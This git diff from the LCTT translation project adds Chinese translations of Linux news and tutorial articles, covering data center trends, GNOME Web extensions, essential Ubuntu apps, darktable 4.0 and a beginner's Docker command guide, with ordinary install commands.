+现在,出现的一个关键问题是印度数据中心行业的未来是什么?哪些新趋势将塑造其未来?下面提到的是将对印度数据中心行业产生重大影响的主要趋势。 + +### 数据本地化 + +数据本地化就意味着限制数据从一个国家流向另一个国家。印度政府已发布指导方针,强调需要在该国境内存储印度用户的数据。数据本地化使得收集关键消费者数据的公司必须在本地数据中心存储和处理这些数据。这给本地数据中心带来了巨大的增长。此外,印度的成本优势和熟练劳动力的便利性使其成为亚洲数据中心的重要枢纽。 + +### 可持续数据中心 + +众所周知,数据中心消耗大量非可再生资源。为了使数据中心可持续发展,公司重新设计了他们的设施,通过利用人工智能、机器学习和云等新兴技术来大大降低电力和水的消耗。云数据中心使用更少的服务器,从而减少碳排放。它们通常位于更靠近为其供电的设施,以防止在长距离传输电能的过程中出现大量损失。此外,公共云数据中心可用于存储来自多个业务的数据。本地数据中心在存储大量数据时存在容量限制,从而导致资源的非最佳使用。因此,云数据中心通过使企业能够消耗更少的服务器和更少的电力并减少其在此过程中的碳排放,正在彻底改变行业。 + +### 边缘连接 + +边缘数据中心是靠近网络边缘的小型数据中心。它们通常连接到更大的中央数据中心或多个数据中心。通过处理更接近最终用户的数据和服务,边缘计算允许组织减少延迟并改善客户体验。这样的数据中心对于需要实时数据处理的行业非常有利,例如自动驾驶汽车、远程医疗、电信、OTT 平台和智能可穿戴设备。 + +### 超大规模数据中心 + +传统上,数据中心是一个简单的机架网络,带有存储单元和一组管理工具。它具有易于理解的架构。然而,随着数字化转型接管了企业界,组织开始生成大量数据。传统的存储单元和工具不足以处理大量涌入的数据,因此需要更大的容量和复杂的设施。此外,传统数据中心无法扩大或缩小其能力以适应需求波动,从而导致资源浪费。这导致了超大规模作为解决方案的演变。 + +超大规模数据中心是大规模的关键业务设施,旨在通过将大量高速协同工作的服务器聚集在一起,有效地支持强大且可扩展的应用。这种能力使数据中心能够水平和垂直扩展。 + +总之,数据中心行业正在发展,新趋势将不断涌现。借助新时代的颠覆性技术,数据中心行业可以构建环保节能的数据中心。人工智能、边缘计算和物联网等技术可用于最大限度地提高能源效率并最大限度地减少对环境的影响。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/top-trends-changing-data-center-industry/ + +作者:[abhimanyu rathore][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/abhimanyu-rathore/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2016/03/Data-center.jpg diff --git a/published/202207/20220630 With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux.md b/published/202207/20220630 With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux.md new file mode 100644 index 0000000000..202daca0ba --- /dev/null +++ b/published/202207/20220630 With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux.md @@ -0,0 +1,89 @@ +[#]: subject: "With Extensions, GNOME Web is Slowly Becoming an Attractive Option on Desktop Linux" +[#]: via: "https://news.itsfoss.com/gnome-web-extensions-dev/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14797-1.html" + +有了扩展,GNOME Web 正逐渐成为 Linux 桌面上一个有吸引力的选择 +====== + +> GNOME Web 正在打磨成一个完美的 Linux 浏览器。你认同吗? + +![Gnome Web 浏览器][1] + +GNOME Web(Epiphany)是 [可供 Linux 用户使用的最佳浏览器][2] 之一。 + +它提供了简约且独特的用户体验。 + +不幸的是,这种独特性并没有激励用户把它作为主力网页浏览器。 + +但是,看起来这种情况很快就会改变…… + +根据其中一位开发者(Patrick,网名 TingPing)透露,GNOME Web 终于添加了对 WebExtensions 的支持。 + +它将会是 GNOME 43 新功能的一部分。 + +### 带有 WebExtensions 的 GNOME Web + +![][3] + +一个浏览器,外观简约,还支持扩展,夫复何求啊! + +我不知道你怎么想,但我对于 GNOME Web 不支持扩展这件事,一直耿耿于怀。 + +所以,这个消息真的让我很兴奋! + +目前,这只是对 **Epiphany 43.alpha** 版本的实验性支持。因此,你只能使用 GNOME Web 的 beta/alpha 构建来测试它。 + +开发者提到: + +> Epiphany 43.alpha 支持上述的基本结构。我们目前正在根据 Firefox 的 ManifestV2 API 来建模行为,同时也尽可能与 Chrome 扩展程序保持兼容。未来,我们计划在保留 V2 的同时,支持 ManifestV3。 + +你必须在终端中显式启用扩展支持,然后下载、添加扩展的 **.xpi** 文件,以安装浏览器扩展。 + +你需要访问 [Mozilla 的 Firefox 附加组件门户网站][4] 来获得扩展程序。 + +![][5] + +你可以安装 Epiphany(GNOME Web)的最新开发版本,并使用以下命令启用扩展: + +``` +flatpak remote-add --if-not-exists gnome-nightly https://nightly.gnome.org/gnome-nightly.flatpakrepo +flatpak install gnome-nightly org.gnome.Epiphany.Devel +flatpak run --command=gsettings org.gnome.Epiphany.Devel set org.gnome.Epiphany.web:/org/gnome/epiphany/web/ enable-webextensions true +``` + +请注意,它仍在活跃开发中,可能无法按预期工作。在第一次尝试时,你可能需要密切关注终端是否有错误,如果有的话,要先解决它才行。 + +如果你想了解更多技术细节,你可以阅读 [TingPing 的博文][6]。 + +### 你的下一个主力浏览器? + +与 Linux 上的基于 Firefox 和 Chrome/Chromium 的浏览器相比,GNOME Web 是一个的完全独特的替代品。(LCTT 译注:GNOME Web 基于 WebKit 引擎。) + +那么,随着即将推出的扩展支持,你愿意尝试将 GNOME Web 作为你的主力浏览器吗? + +*你如何看待 GNOME Web(或 Epiphany)中的改进呢?请在下方评论区中告诉我们吧!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-web-extensions-dev/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/gnome-web-adds-extensions-support.jpg +[2]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/06/gnome-web-extensions.png +[4]: https://addons.mozilla.org/en-US/firefox/extensions/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/06/gnome-web-extensions-1.png +[6]: https://blog.tingping.se/2022/06/29/WebExtensions-Epiphany.html diff --git a/published/202207/20220703 10 Necessary Ubuntu Apps For Everyone [Part 3].md b/published/202207/20220703 10 Necessary Ubuntu Apps For Everyone [Part 3].md new file mode 100644 index 0000000000..bfe1119295 --- /dev/null +++ b/published/202207/20220703 10 Necessary Ubuntu Apps For Everyone [Part 3].md @@ -0,0 +1,311 @@ +[#]: subject: "10 Necessary Ubuntu Apps For Everyone [Part 3]" +[#]: via: "https://www.debugpoint.com/necessary-ubuntu-apps-2022" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14841-1.html" + +10 大必备 Ubuntu 应用:必备篇 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/18/183730r55l353ni64aiiu4.jpg) + +> 本文列出了 2022 年可以用于日常工作的 10 个 Ubuntu 必备应用。 + +我们经常忘记,有成千上万的、可以与同类商业产品相媲美的自由开源应用。此外,若你是 Windows 用户,并考虑完全摆脱 Windows ,你也应该事先了解此类应用程序。 + +因此,在这篇“必备的 Ubuntu 应用”文章中,我们为急需这些信息的 Linux 用户列举了 10 款应用。 + +这是这个系列的第三篇文章,如果你错过了之前的文章,可以通过以下链接阅读: + +* [第一篇][1] +* [第二篇][2] + +### Guake + +你是否想要在处理重要工作时使用快捷键打开一个终端?这款下拉式的终端程序 Guake 能够帮你实现。如果你正忙于写文章、剪辑视频、在你最喜欢的代码编辑器中写代码,并想要快速用终端检查一些东西并返回到工作中,Guake 能够帮助你。只用按 `F12` 终端就会立即出现,再次按 `F12` 它会消失,不用打开或关闭不同的终端。 + +![Guake Running in Ubuntu][3] + +在 Ubuntu 或其他发行版,你可以使用以下命令安装。如需更多下载选项,请访问 [此页面][4]。 + +``` +sudo apt install guake +``` + +浏览以下链接了解 Guake 的更多信息: + +* [主页][5] +* [源码][6] + +### Safe Eyes + +眼睛很宝贵,如果你是长时间使用平板或电脑的用户,你应该保护好眼睛。这里有一款可以帮助你保护眼睛的应用 —— Safe Eyes ,能够帮你减少并预防用眼过度。 + +Safe Eyes 这款应用会在你的工作期间为你提供“顺时针转动眼睛 10 秒”等活动的弹出式指令。 + +我认为它是每个人都应该尝试使用的一款 Ubuntu 应用。 + +![Safe Eyes][7] + +通过 PPA 可以很容易在 Ubuntu 上安装 Safe Eyes 。你可以打开终端并使用以下命令安装这款应用。 + +``` +sudo add-apt-repository ppa:slgobinath/safeeyessudo apt updatesudo apt install safeeyes +``` + +更多下载选项,请访问 [此页面][8]。 + +浏览以下链接了解 Safe Eyes 的更多信息: + +* [主页][9] +* [源码][10] + +### Tusk + +笔记应用有很多。虽然,包括 Ubuntu 在内的所有 Linux 发行版,都带有一个基础文本编辑器,但是想要高级的笔记功能,你需要一个专业应用。 + +Tusk 是适用于 Ubuntu/Linux 的新款印象笔记式桌面应用程序。它带有大量主题,例如浅色、深褐色和深色。它具有以下功能: + +* 本地和全局自定义快捷键 +* 更新通知 +* 基于 Electron 的跨平台应用 +* 可伸缩的界面(放大和缩小) +* 浅色、深褐色和深色主题 +* 聚焦模式和自动夜间模式 +* 将笔记导出为 HTML、PDF 和 Markdown 格式 + +![Tusk][11] + +该应用有用于 Linux 发行版的 AppImage 、Deb 和 RPM 文件等格式。你可以从以下链接下载 deb 文件并运行它以在 Ubuntu 中安装它。有关其他下载选项,请访问 [此页面][12]。 + +> **[下载 Tusk][13]** + +浏览以下链接了解 Tusk 的更多信息: + +* [主页][14] +* [源码][15] + +### Krita + +如果你是一个艺术家并想在 Linux 上学习绘画,那你一定要用 Krita 。Krita 拥有众多绘画工具,包含诸如压感式绘画等高级模式。此外,你也可以在触屏设备上使 Krita 。它包含一些独特的功能: + +* 自定义工具栏和停靠栏 +* 将工作区另存为文件 +* 深浅主题 +* 内置矢量引擎,海量画笔 +* 带稳定功能的画笔引擎 +* 支持 PhotoShop 文件(PSD) +* 支持全色系 +* 支持 Python 脚本扩展 + +![Krita Drawing Program][16] + +在所有的 Linux 发行版的官方仓库都有 Krita ,所以很容易安装。在 Ubuntu 中,你可以在应用商店里搜索并安装。如果你更喜欢使用终端安装,可以运行如下指令: + +``` +sudo apt install krita +``` + +浏览以下链接了解 Krita 的更多信息: + +* [主页][17] +* [学习文件][18] +* [源码][19] + +### Foliate + +当你想到电子书阅读器时,总是会想到 Calibre 。不过还有一款杰出的 GNOME 应用 —— Foliate 。Foliate 是用 GTK 编写的新颖的电子书阅读器,它带来了令人赞叹的功能,例如自定义页面的颜色、亮度、多栏支持等等。此外,它还支持 Epub、Amazon Kindle、FictionBook、CBA 和 Mobipocket 格式,让你完全控制自己的收藏。 + +如果你想要一个漂亮而优美的电子书阅读器,非它莫属。 + +![Foliate][20] + +使用 Linux 发行版的 Flatpak 安装 Foliate 很容易。首先,你需要 [设置 Flatpak][21] 并单击下方链接进行安装。 + +> **[下载 Foliate][22]** + +浏览以下链接了解 Foliate 的更多信息: + +* [主页][23] +* [源码][24] + +### Bitwarden + +平均而言,每个人至少有十几个在线账号和密码。你越是精通技术,那么你管理密码的数量就会越多。使用密码管理器能够更好的保护你的数据以及密码。那么接下来这款应用,Bitwarden,是当今最好的管理密码的应用。 + +Bitwarden 是一款自由开源的密码管理器,能够轻松帮助你生成、存储并保存密码。在 AES-256 加密的支持下,Bitwarden 能够在不同设备,比如手机和平板自动同步密码。 + +![Bitwarden Password Manager desktop client][25] + +你可以从 [此页面][26] 下载可执行安装包文件。此外,如果你打算在你最喜欢的浏览器中使用它,也可以在该页面中获取扩展。 + +浏览以下链接了解 Bitwarden 更多信息: + +* [主页][27] +* [帮助文档][28] + +### Brave Browser + +Brave 是一款基于 Chromium 的以隐私为中心的浏览器。它非常适合希望完全控制其在线活动的用户。Brave 带有内置广告拦截器、隐身浏览、VPN 和 Tor 模式,可实现更多匿名浏览。 + +最近,Brave 还推出了电子邮件服务,你可以直接从浏览器访问邮件。此外,它具备一些 Firefox 、 Chrome 以及 Safari 所没有的优点。 + +![Brave Browser][29] + +在 Ubuntu 终端上安装这款浏览器需要额外的命令。你可以 [在此][30] 找到相信的下载教程。 + +更多详细信息,请浏览官方 [主页][31] 。 + +### Mailspring + +如果你在找一款好用并高效的 Linux 桌面电子邮件客户端,并且想要它支持所有的电子邮件协议,那你应该试试 Mailspring 。 + +Mailspring 支持多个账户、统一邮箱,并且支持触控和手势。它还支持微软 Office 365 ,这是此电子邮件客户端在 Linux 系统中的最大优势之一。此外,它具有快速检索、翻译、取消发送(邮件召回)以及内置的拼写检查等特征,使得它成为最好的邮件客户端之一。 + +它还有一个付费版本,只需要每月付出少量费用,即可得到更多功能,例如创建公司简介、链接跟踪、阅读回执、模板和洞察力功能。专业版中的洞察力功能提供了你在一天中何时收到更多电子邮件的详细信息。 + +![Mailspring Email Client][32] + +这款应用可以通过 Snap 和 Deb 文件在 Ubuntu 或其他相关 Linux 上安装。 + +访问官方 [Snapcraft 页面][33] 获取 Snap 包并安装。 + +点击 [这里][33a] 下载 deb 包。下载后,你可以双击 deb 文件通过 Ubuntu 应用商店程序安装。 + +浏览以下链接了解 Mailspring 更多信息: + +* [主页][34] +* [其他下载选项][35](Fedora Linux、Windows 以及 macOS) + +### Blender + +我肯定你听说过 Blender 。 Blender 是一款自由开源的专业级图形设计软件,几乎可以完成你的图形项目的一切需求。 + +![Blender Video Editor][36] + +你可以创建动画电影、视觉效果、艺术作品、3D 打印模型、动态图形、交互式 3D 应用程序和计算机游戏。 Blender 的功能包括 3D 建模、UV 展开、贴图、光栅图形编辑、套索和蒙皮、流体和烟雾模拟、粒子模拟、柔体模拟、雕刻、动画、匹配移动、渲染、运动图形、视频编辑和合成。 + +它是一个专业级的应用程序,还是自由开源的。 + +想要在 Ubuntu 中轻松安装,打开应用商店,搜索 Blender,然后点击安装。或者,你也可以打开终端窗口并运行以下命令进行安装。 + +``` +sudo apt install blender +``` + +该软件适用于 Windows、macOS 和其他平台。你可以访问 [官方下载页面][37] 了解更多详情。 + +浏览以下链接了解 Blender 更多信息: + +* [主页][38] +* [详细功能亮点][39] +* [文档][40] + +### Ungoogled Chromium + +如果你想要一个没有谷歌的应用和服务的干净浏览器,你应该试试 Ungoogled Chromium 浏览器。它是一个没有谷歌集成服务的,提供了原装 Chromium 体验的替代品。 + +例如,它去除了代码中的所有预编译二进制文件和所有谷歌集成,并且还禁用了需要手动启用的功能,以获得更好控制。 + +或许一个合适的浏览器,才会有最好的 Chromium 体验。 + +![Ungoogled-Chromium][41] + +使用 Flatpak 安装 Ungoogled Chromium 很容易。首先设置 [Flatpak][42] 然后使用下列命令安装该浏览器: + +``` +flatpak install flathub com.github.Eloston.UngoogledChromium +``` + +浏览 [官方 GitHub 页面][43] 获取该浏览器更多信息。 + +### Tilix + +![Tilix Terminal Window][44] + +必备 Ubuntu 应用程序列表中的最后一个应用程序是 Tilix 。Tilix 是一个基于 GTK 的,平铺式的终端仿真器。它带有自定义标题、以及通知支持(用于命令补完)和透明背景图像支持。此外,Tilix 还允许你在终端窗口中添加自定义图像背景。最后,你可以在一个窗口中并排创建多个终端窗口。 + +这是一个用 GTK 编写的高级终端,你可能会发现它很有用。 + +所有 Linux 发行版上都有它的安装包。在 Ubuntu 或相关发行版,运行以下命令进行安装: + +``` +sudo apt install tilix +``` + +更多信息请浏览 Tilix [主页][45] 。 + +### 结语 + +这是 2022 年 5 篇系列的必备 Ubuntu 应用程序的第 3 篇。我希望你能够在 Ubuntu 或者其他 Linux 发行版上安装,并在你的日常工作中使用这些应用程序。同时,欢迎在下方评论,让我知道你最喜欢哪一款应用。 + +最后,请继续关注本 Ubuntu 应用程序系列的第 4 部分。 + +干杯! + +*一些图片来源:令人尊敬的应用开发人员或团队* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/necessary-ubuntu-apps-2022 + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[2]: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ +[3]: https://www.debugpoint.com/wp-content/uploads/2018/09/Guake-Running-in-Ubuntu.gif +[4]: https://guake.readthedocs.io/en/latest/user/installing.html#system-wide-installation +[5]: http://guake-project.org/ +[6]: https://github.com/Guake/guake +[7]: https://www.debugpoint.com/wp-content/uploads/2018/09/Safe-Eyes.gif +[8]: https://slgobinath.github.io/SafeEyes/ +[9]: https://slgobinath.github.io/SafeEyes/ +[10]: https://github.com/slgobinath/SafeEyes +[11]: https://www.debugpoint.com/wp-content/uploads/2018/09/Tusk.gif +[12]: https://github.com/klaussinani/tusk/releases/ +[13]: https://github.com/klaussinani/tusk/releases/download/v0.23.0/tusk_0.23.0_amd64.deb +[14]: https://klaussinani.github.io/tusk/ +[15]: https://github.com/klaussinani/tusk +[16]: https://www.debugpoint.com/wp-content/uploads/2022/07/Krita-Drawing-Program.jpg +[17]: https://krita.org/en/ +[18]: https://docs.krita.org/en/ +[19]: https://invent.kde.org/graphics/krita +[20]: https://www.debugpoint.com/wp-content/uploads/2022/07/Foliate.jpg +[21]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[22]: https://dl.flathub.org/repo/appstream/com.github.johnfactotum.Foliate.flatpakref +[23]: https://johnfactotum.github.io/foliate/ +[24]: https://github.com/johnfactotum/foliate +[25]: https://www.debugpoint.com/wp-content/uploads/2022/07/Bitwarden-Password-Manager-desktop-client.jpg +[26]: https://bitwarden.com/download/ +[27]: https://bitwarden.com/help/ +[28]: https://bitwarden.com/help/ +[29]: https://www.debugpoint.com/wp-content/uploads/2022/07/Brave-Browser.jpg +[30]: https://brave.com/linux/#release-channel-installation +[31]: https://brave.com +[32]: https://www.debugpoint.com/wp-content/uploads/2022/07/Mailspring-Email-Client.jpg +[33]: https://snapcraft.io/mailspring +[33a]: https://updates.getmailspring.com/download?platform=linuxDeb +[34]: https://getmailspring.com/ +[35]: https://getmailspring.com/download +[36]: https://www.debugpoint.com/wp-content/uploads/2019/09/Blender-Video-Editor.jpg +[37]: https://www.blender.org/download/ +[38]: https://www.blender.org/ +[39]: https://www.blender.org/features/ +[40]: https://www.blender.org/get-involved/documenters/ +[41]: https://www.debugpoint.com/wp-content/uploads/2022/07/Ungoogled-Chromium.jpg +[42]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[43]: https://github.com/ungoogled-software/ungoogled-chromium#feature-overview +[44]: https://www.debugpoint.com/wp-content/uploads/2022/07/Tilix-Terminal-Window.jpg +[45]: https://gnunn1.github.io/tilix-web/ +[46]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[47]: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ diff --git a/published/202207/20220704 Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation.md b/published/202207/20220704 Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation.md new file mode 100644 index 0000000000..89eb32ac89 --- /dev/null +++ b/published/202207/20220704 Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation.md @@ -0,0 +1,97 @@ +[#]: subject: "Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation" +[#]: via: "https://news.itsfoss.com/darktable-4-0-release" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14802-1.html" + +darktable 4.0.0:用户界面改版,改进了色彩饱和度处理 +====== + +> darktable 4.0.0 版本来了,这是一个主要版本,带来了新的功能,简化了用户界面,还有一些其他的改进。 + +![darktable][1] + +最近,作为其 3.8.x 系列的升级版,darktable 开发人员公布了新的稳定版。 + +最新的升级带来了新功能、错误修复和重大变化。 + +### darktable 4.0 有什么新内容? + +在 darktable 4.0 中,增加了很多功能,并对用户界面进行了一些有意义的重新打造。 + +让我在此介绍一下关键的亮点: + +> **注意:** 这是一次重大版本升级,采用了新的库和配置,与旧版本不兼容。因此,你需要在进行升级之前对你的工作进行备份。 + +#### 颜色和曝光映射 + +在曝光和颜色校准模块中,你现在可以定义和保存颜色采集器的目标颜色/曝光度。 + +这应该有助于你匹配图像中的源对象,并确保一个对象在一批照片中的颜色一致性。 + +#### 完善的用户界面 + +![darktable][2] + +用户界面已经进行了改造以改善外观/感觉。首先能看到的是其默认主题改为了 “优雅灰”。 + +总的来说,填充、边距、颜色、对齐方式和图标等等都得到了改造。也添加了新的可折叠的部分(rgb 通道混合器、曝光、颜色校准),使用户界面更干净,更容易访问。 + +你会发现许多细微的变化,布局也更合理。 + +#### 性能变化 + +在简化用户偏好的同时,该版本还增加了一些优化措施。 + +你还可以改变性能配置,而不需要重启 darktable。 + +#### 改进了色彩饱和度处理 + +![darktable][3] + +Filmic v6(一种新的色彩学)的加入有助于获得更多的饱和度,特别是对于蓝天。 + +另外正如公告中提到的,可以以最小的破坏性方式恢复,调色应该更安全。除此之外,还为艺术饱和度的变化设计了一个新的信息色彩空间。 + +总的来说,你应该对这个版本对饱和度控制的改进感到高兴。 + +#### 其他变化 + +其他一些值得注意的变化包括: + +* 一个新的“引导式拉普拉斯”方法已被添加到高光重建模块中。 +* 全局颜色选择器工具的改进 +* 一个新的对比度参数 +* 一个新的集合过滤器模块 +* 增加了对 EXR 16 位(半数)浮点数输出的支持。 + +你可以在其 [官方公告帖子][4] 中查看所有的技术细节。 + +### 下载 darktable 4.0.0 + +你可以使用 [Flathub][5] 上的 Flatpak 包获得最新版本。写这篇文章时,Snap 包还没有更新。 + +此外,你也可以选择使用其 [GitHub 发布区][6] 中的 tar.xz 文件。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/darktable-4-0-release + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/darktable-4-0-0-1200x675.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/07/darktable-4.jpg +[3]: https://news.itsfoss.com/wp-content/uploads/2022/07/darktable-4-1.jpg +[4]: https://www.darktable.org/2022/07/darktable-4.0.0-released/ +[5]: https://flathub.org/apps/details/org.darktable.Darktable +[6]: https://github.com/darktable-org/darktable/releases/tag/release-4.0.0 diff --git a/published/202207/20220704 Docker Commands Tutorial - Getting Started With Docker In Linux.md b/published/202207/20220704 Docker Commands Tutorial - Getting Started With Docker In Linux.md new file mode 100644 index 0000000000..189134dae8 --- /dev/null +++ b/published/202207/20220704 Docker Commands Tutorial - Getting Started With Docker In Linux.md @@ -0,0 +1,751 @@ +[#]: subject: "Docker Commands Tutorial | Getting Started With Docker In Linux" +[#]: via: "https://ostechnix.com/getting-started-with-docker/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14849-1.html" + +Linux 下的 Docker 入门教程 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/21/101143uuwylyrrglzjfwj7.jpg) + +> 面向初学者的 Docker 基本命令指南。 + +这篇详细的 Docker 教程覆盖了核心的 **Docker 命令**,比如,如何创建新容器、运行容器、删除容器等。另外,这篇教程也解释了如何从已有的容器构建你自己的 Docker 镜像,如何移除容器和镜像。言归正传,现在开始 Docker 的基本用法。 + +### Docker 安装步骤 + +大多数现代 Linux 操作系统都可以安装 Docker。如果还没安装过 Docker,请参考下面的步骤: + +* [在 AlmaLinux、CentOS、Rocky Linux 上安装 Docker Engine 和 Docker Compose][1] +* [如何在 Ubuntu 上安装 Docker 和 Docker Compose][2] + +### 什么是 Docker 镜像和 Docker 容器? + +在开始 Docker 之前,我先说明一下 Docker 镜像和 Docker 容器是什么。 + +Docker 镜像是一个描述容器如何运行的的文件,Docker 容器是 Docker 镜像在运行或被终止时的一个阶段。 + +容器和主机上的其他文件是隔离的。 + +当我们运行一个 Docker 容器的时候,它会使用一个被隔离出来的文件系统,这个文件系统是由一个 Docker 镜像提供的。Docker 镜像包含了运行应用程序所需要的一切东西 - 所有的依赖、配置、脚本、二进制文件等等。 + +镜像也包含容器所需要的其他配置项,比如说环境变量、默认运行的命令,以及其他元数据。 + +### Linux 下的 Docker 入门 + +下面的所有步骤都已在 Ubuntu 22.04、20.04 以及 18.04 LTS 服务器版本中测试通过。后续小节中提供的步骤对于所有 Linux 平台都是通用的。比如,在基于 RHEL 的系统中(比如 AlmaLinux)可以运行相同的命令。 + +#### 1、搜索 Docker 镜像 + +我们可以从叫做 [Docker hub][3] 的 Docker 官方库获得镜像,或者我们也可以制作自己的镜像。 + +有些人可能不清楚,Docker hub 是一个线上的中心化仓库,Docker 用户们在上面构建、测试、然后保存他们的 Docker 镜像。Docker hub 有数以万计的 Docker 镜像,而且这个数字还在每天增长。 + +你可以从命令行通过 ``docker search` 命令搜索任意 Docker 镜像。 + +比如要搜索基于 **Alpine** Linux 的 Docker 镜像,运行: + +``` +$ sudo docker search alpine +``` + +输出结果: + +![Search Docker Images][4] + +搜索基于 **Ubuntu** 的镜像,运行: + +``` +$ sudo docker search ubuntu +``` + +你还可以搜索其他任意的应用,比如 **Nginx**,像下面这样: + +``` +$ sudo docker search nginx +``` + +Docker hub 有各种各样的镜像。你能在 Docker hub 上找到各种已构建好的 Docker 镜像,比如说操作系统、应用,或者多个应用的合体(比如 LAMP 栈)。 + +如果你找的东西不在上面,你还可以构建一个镜像,然后通过 Docker hub 向其他人开放,或者只是自己用。 + +#### 2、下载 Docker 镜像 + +从终端运行下面的命令可以下载 Ubuntu OS 的 Docker 镜像: + +``` +$ sudo docker pull ubuntu +``` + +上面的这个命令会从 Docker hub 下载最新的 Ubuntu 镜像。 + +输出结果: + +``` +Using default tag: latest +latest: Pulling from library/ubuntu +405f018f9d1d: Pull complete +Digest: sha256:b6b83d3c331794420340093eb706a6f152d9c1fa51b262d9bf34594887c2c7ac +Status: Downloaded newer image for ubuntu:latest +docker.io/library/ubuntu:latest +``` + +你也可以用下面的命令下载指定版本的 Ubuntu 镜像: + +``` +$ sudo docker pull ubuntu:20.04 +``` + +Docker 允许我们下载任何镜像,并且在那个镜像上创建容器,这些操作与主机的操作系统无关。 + +比如要下载 Alpine 系统的镜像,运行: + +``` +$ sudo docker pull alpine +``` + +![Download Docker Images][5] + +#### 3、列出 Docker 镜像 + +所有已下载的 Docker 镜像都保存在 `/var/lib/docker` 路径下。 + +要查看所有已下载的 Docker 镜像,运行: + +``` +$ sudo docker images +``` + +输出结果: + +``` +REPOSITORY TAG IMAGE ID CREATED SIZE +ubuntu latest 27941809078c 3 weeks ago 77.8MB +ubuntu 20.04 20fffa419e3a 3 weeks ago 72.8MB +alpine latest e66264b98777 5 weeks ago 5.52MB +``` + +![List Docker Images][6] + +从上面可以看出来,我已经下载了三个 Docker 镜像 - Ubuntu latest、Ubuntu 20.04 和 Alpine Linux。 + +现在,我们看一下接下来如何从下载的镜像启动或者运行容器。 + +#### 4、运行 Docker 容器 + +有两种方法我们可以启动一个容器 - 使用 Docker 镜像的标签TAG 或者 镜像 IDImage ID。 + +标签指的是一个特定的镜像快照,镜像 IDImage ID 是那个镜像对应的唯一识别码。 + +可以查看下面这个截图: + +![Docker Image Tag and ID][7] + +从上面的解脱可以看到,标签是 `latest` 和 `20.04`。 + +* `27941809078c` 是 Ubuntu latest 的 Docker 镜像的镜像 ID, +* `20fffa419e3a` 是 Ubuntu 20.04 的 Docker 镜像的镜像 ID, +* 而 `e66264b98777` 是 Alpine latest 的 Docker 镜像的镜像 ID。 + +##### 4.1、使用标签运行容器 + +下载选择好的 Docker 镜像后,运行下面的命令来启动 Docker 容器,并且通过它的标签进行连接。 + +``` +$ sudo docker run -t -i ubuntu:latest /bin/bash +``` + +或者, + +``` +$ sudo docker run -it ubuntu:latest /bin/bash +``` + +这里, + +* `-t`:在 Ubuntu 容器内分配一个伪终端。 +* `-i`:通过从容器获取一个标准输入(STDIN),允许我们创建一个可交互的连接。 +* `ubuntu:latest`:标签为 `latest` 的 Ubuntu Docker 镜像。 +* `/bin/bash`:新容器的 BASH shell。这个是可选项。如果你不加 shell 的话,会分配默认的 shell 给容器。 + +启动容器后,会自动进入容器的 shell(命令行): + +![Run Containers Using Tag][8] + +基于最新 Ubuntu 镜像的容器现在已经启动了。所有的新容器都会被赋予一个名字和唯一的 ID。从上面的输出可以看到,那个 Ubuntu 容器的 ID 是 `2f2a5b826762`。一会儿我们会看到从哪找到容器的名字。 + 